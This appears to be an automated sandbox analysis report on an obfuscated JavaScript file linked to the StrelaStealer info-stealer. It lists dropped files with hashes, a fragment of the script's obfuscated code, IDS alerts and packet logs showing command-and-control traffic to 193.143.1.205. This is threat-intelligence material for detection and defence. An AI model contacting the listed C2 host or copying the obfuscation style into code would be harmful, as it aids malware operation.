File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\19faec85-112d-472d-bd12-8a8721ea7864.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/M7ouWLYZwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:RuWLYZwZGuGZn3mlind9i4ufFXpAXkru
MD5:	EC8D4FAB55F24C0E344D263724846C4A
SHA1:	5444D90F86D68A23AF7FB5434DEAE740D57D0312
SHA-256:	E489C11D38BFF8F1F51351BAEBEE9F723A5C036DA0B0CB9C82306251017054EE
SHA-512:	21018FD299944987654C202779C8E0185815868DE7179B814F145573EE8D45ACC33CA7E008CB23774C473DD7939E9D7D7C2E5A14E31D5EC62F7BFFDBBAB41F9A
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\55f9e81a-729b-4ab5-ba02-d9aaca5fd651.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8437f8e8-5a3e-4585-82ba-09903c0ecd7e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\a3c0a127-fda2-40e2-97ec-32f8a0393e76.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17351), with CRLF line terminators
Entropy (8bit):	4.905200678262212
TrID:
File name:	3274215974163975076.js
File size:	20'901 bytes
MD5:	7985b50b46c53c40583ab02ec8cb29d7
SHA1:	158d158c22128d153da632be4a4fe35d0c0f5082
SHA256:	644231069b7647635b343ebefc0dcf492eecb759c360cd2a079ae00f433fef84
SHA512:	29d014d8a3573ed2c14a5b4b455be84c8ca0df4c835868b5498983b589e73974965654161b7bdf3ba1dbef2570300f0cd0e2ee49b904dbadfb01843fd034c426
SSDEEP:	384:zm1wwUxiHvV82oeAHSNitFoapnQj2HtxtOUIObwrR5eJiSnYZF173v/:afUxiHvYeAHSNZl5eMH
TLSH:	86926500C159D7C94CF026F05FB346E3FACA87C899195166786E6668E204AFE67FBD30
File Content Preview:	function gtyygooly(){svhhwkalb=[1031,3079,5127,4103,2055,3072];var theto=this[hpqrkxdwy+rlohbyywp+glefa+brbkx+jylosvl+icjegri+xkgswqj+kgugcnq](this[lszihgp+staez+cepcie+glefa+wplssypu+hpqrkxdwy+kgugcnq][arljev+glefa+jylosvl+rlohbyywp+kgugcnq+jylosvl+sjbdb

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T07:59:01.643704+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-11T07:59:01.643704+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-11T07:59:04.231521+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49712	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:59:00.867038012 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:00.873745918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:00.873979092 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:00.877181053 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:00.881954908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.643493891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.643523932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.643538952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.643553019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.643579006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.643594027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.643609047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.643625021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.643642902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.643656969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.643703938 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.643703938 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.643703938 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.648484945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.686662912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.686696053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.687114954 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.764656067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.764707088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.764722109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.764736891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.764833927 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.764833927 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.765033960 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.765053034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.765075922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.765089035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.765104055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.765137911 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.765137911 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.765888929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.765904903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.765918970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.765934944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.765949011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.765970945 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.765970945 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.766016006 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.766772032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.766787052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.766809940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.766823053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.766838074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.766978025 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.766978025 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.767712116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.767726898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.767846107 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.809578896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.819614887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.819649935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.819683075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.819760084 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.851177931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.851337910 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.885500908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.885516882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.885560989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.885574102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.885654926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.885674953 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.885674953 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.885740042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.885771990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.885838032 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.885979891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.886029959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.886060953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.886087894 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.886092901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.886194944 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.886435032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.886467934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.886502028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.886533976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.886538982 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.886564970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.886651993 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.886651993 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.886953115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.887001038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.887033939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.887065887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.887075901 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.887099981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.887131929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.887156010 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.887164116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.887228966 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.887999058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.888032913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.888065100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.888097048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.888117075 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.888128996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.888159990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.888194084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.888238907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.888238907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.888891935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.888925076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.888942957 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.888958931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.888991117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.889003038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.889024973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.889055967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.889090061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.889127970 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.889127970 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.889770031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.889802933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.889837027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.889885902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.889919996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.889956951 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.889956951 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.889956951 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.891575098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.891603947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.891637087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.891668081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.891705036 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.891705036 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.906239986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.906272888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.906322002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.906341076 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.906357050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.906424046 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.930284023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.930316925 CET	80	49710	193.143.1.205	192.168.2.6
